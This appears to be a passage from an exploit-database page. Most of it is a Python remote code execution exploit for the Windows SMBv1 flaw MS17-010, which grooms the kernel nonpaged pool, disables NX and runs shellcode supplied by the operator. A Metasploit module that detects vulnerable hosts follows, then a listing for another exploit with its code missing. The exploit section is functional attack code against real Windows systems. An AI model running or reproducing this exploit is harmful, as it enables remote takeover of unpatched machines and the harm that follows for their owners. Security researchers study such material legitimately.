fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
feaListNx = pack('<I', 0x10000)
feaListNx += ntfea9000
feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
def createFakeSrvNetBuffer(sc_size):
# 0x180 is size of fakeSrvNetBufferX64
totalRecvSize = 0x80 + 0x180 + sc_size
fakeSrvNetBufferX64 = '\x00'*16
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
return fakeSrvNetBufferX64
def createFeaList(sc_size):
feaList = pack('<I', 0x10000)
feaList += ntfea9000
fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
return feaList
# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00e00
# offset 0x50: KSPIN_LOCK
# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
# offset 0x110: array of pointer to function
# offset 0x13c: set to 3 (DWORD) for invoking ptr to function
# some useful offset
# offset 0x120: arg1 when invoking ptr to function
# offset 0x128: arg2 when invoking ptr to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = ('\x00'*16)*5
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
fake_recv_struct += ('\x00'*16)*10
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
# override SMB.neg_session() to allow forcing ntlm authentication
class MYSMB(smb.SMB):
def __init__(self, remote_host, use_ntlmv2=True):
self.__use_ntlmv2 = use_ntlmv2
smb.SMB.__init__(self, remote_host, remote_host)
def neg_session(self, extended_security = True, negPacket = None):
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
def createSessionAllocNonPaged(target, size):
conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
_, flags2 = conn.get_flags()
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
return conn
if USERNAME:
# Try login with valid user because anonymous user might get access denied on Windows Server 2012.
# Note: If target allows only NTLMv2 authentication, the login will always fail.
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
conn.set_flags(flags2=flags2)
# new SMB packet to reset flags
pkt = smb.NewSMBPacket()
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
return conn
# lazy to check error code, just print fail message
print('SMB1 session setup allocate nonpaged pool failed')
sys.exit(1)
# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)
def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
# assume no params
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
command = pack('<H', setup)
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB() # must be success
if recvPkt.getNTStatus() == 0:
print('got good NT Trans response')
else:
print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
sys.exit(1)
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
i = firstDataFragmentSize
while i < len(data):
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False):
sk = socket.create_connection((target, 445))
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
# There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
if for_nx:
# MUST set no delay because 1 byte MUST be sent immediately
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
else:
pkt += '\x00'*0x7c
sk.send(pkt)
return sk
def exploit(target, shellcode, numGroomConn):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)
conn.login(USERNAME, PASSWORD)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if server_os.startswith("Windows 10 "):
build = int(server_os.split()[-1])
if build >= 14393: # version 1607
print('This exploit does not support this target')
sys.exit()
elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
print('This exploit does not support this target')
sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
nxconn = smb.SMB(target, target)
nxconn.login(USERNAME, PASSWORD)
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
# create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
srvnetConn.append(sk)
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()
# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
srvnetConn.append(sk)
# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# first trigger, overwrite srvnet buffer struct for disabling NX
send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
recvPkt = nxconn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status for nx: INVALID_PARAMETER')
else:
print('bad response status for nx: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# send '\x00' to disable nx
for sk in srvnetConn:
sk.send('\x00')
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# second trigger, place fake struct and shellcode
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
# execute shellcode
for sk in srvnetConn:
sk.close()
# nicely close connection (no need for exploit)
nxconn.disconnect_tree(tid)
nxconn.logoff()
nxconn.get_socket().close()
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
if len(sc) > 0xe80:
print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80))
sys.exit()
# Now, shellcode is known. create a feaList
feaList = createFeaList(len(sc))
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
exploit(TARGET, sc, numGroomConn)
print('done')
ExploitDB
dos windows Verified
Source
Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit)
By Sean Dillon
How to test this exploit
Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.
ruby 41891.rbCode rb
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# auxiliary/scanner/smb/smb_ms_17_010
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'MS17-010 SMB RCE Detection',
'Description' => %q{
Uses information disclosure to determine if MS17-010 has been patched or not.
Specifically, it connects to the IPC$ tree and attempts a transaction on FID 0.
If the status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does
not have the MS17-010 patch.
This module does not require valid SMB credentials in default server
configurations. It can log on as the user "\" and connect to IPC$.
},
'Author' => [ 'Sean Dillon <sean.dillon@risksense.com>' ],
'References' =>
[
[ 'CVE', '2017-0143'],
[ 'CVE', '2017-0144'],
[ 'CVE', '2017-0145'],
[ 'CVE', '2017-0146'],
[ 'CVE', '2017-0147'],
[ 'CVE', '2017-0148'],
[ 'MSB', 'MS17-010'],
[ 'URL', 'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx']
],
'License' => MSF_LICENSE
))
end
def run_host(ip)
begin
status = do_smb_probe(ip)
if status == "STATUS_INSUFF_SERVER_RESOURCES"
print_warning("Host is likely VULNERABLE to MS17-010!")
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: 'STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$'
)
elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE"
# STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others)
print_good("Host does NOT appear vulnerable.")
else
print_bad("Unable to properly detect if host is vulnerable.")
end
rescue ::Interrupt
print_status("Exiting on interrupt.")
raise $!
rescue ::Rex::Proto::SMB::Exceptions::LoginError
print_error("An SMB Login Error occurred while connecting to the IPC$ tree.")
rescue ::Exception => e
vprint_error("#{e.class}: #{e.message}")
ensure
disconnect
end
end
def do_smb_probe(ip)
connect
# logon as user \
simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])
# connect to IPC$
ipc_share = "\\\\#{ip}\\IPC$"
simple.connect(ipc_share)
tree_id = simple.shares[ipc_share]
print_status("Connected to #{ipc_share} with TID = #{tree_id}")
# request transaction with fid = 0
pkt = make_smb_trans_ms17_010(tree_id)
sock.put(pkt)
bytes = sock.get_once
# convert packet to response struct
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
pkt.from_s(bytes[4..-1])
# convert error code to string
code = pkt['SMB'].v['ErrorClass']
smberr = Rex::Proto::SMB::Exceptions::ErrorCode.new
status = smberr.get_error(code)
print_status("Received #{status} with FID = 0")
status
end
def make_smb_trans_ms17_010(tree_id)
# make a raw transaction packet
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_PKT.make_struct
simple.client.smb_defaults(pkt['Payload']['SMB'])
# opcode 0x23 = PeekNamedPipe, fid = 0
setup = "\x23\x00\x00\x00"
setup_count = 2 # 2 words
trans = "\\PIPE\\\x00"
# calculate offsets to the SetupData payload
base_offset = pkt.to_s.length + (setup.length) - 4
param_offset = base_offset + trans.length
data_offset = param_offset # + 0
# packet baselines
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2801 # 0xc803 would unicode
pkt['Payload']['SMB'].v['TreeID'] = tree_id
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload'].v['ParamCountMax'] = 0xffff
pkt['Payload'].v['DataCountMax'] = 0xffff
pkt['Payload'].v['ParamOffset'] = param_offset
pkt['Payload'].v['DataOffset'] = data_offset
# actual magic: PeekNamedPipe FID=0, \PIPE\
pkt['Payload'].v['SetupCount'] = setup_count
pkt['Payload'].v['SetupData'] = setup
pkt['Payload'].v['Payload'] = trans
pkt.to_s
end
end
ExploitDB
remote windows_x86-64
Source
Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010)
By Juan Sacco
How to test this exploit
Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.
python3 41987.pyCode
Content not materialized yet (fetched on the next cycle).
View at source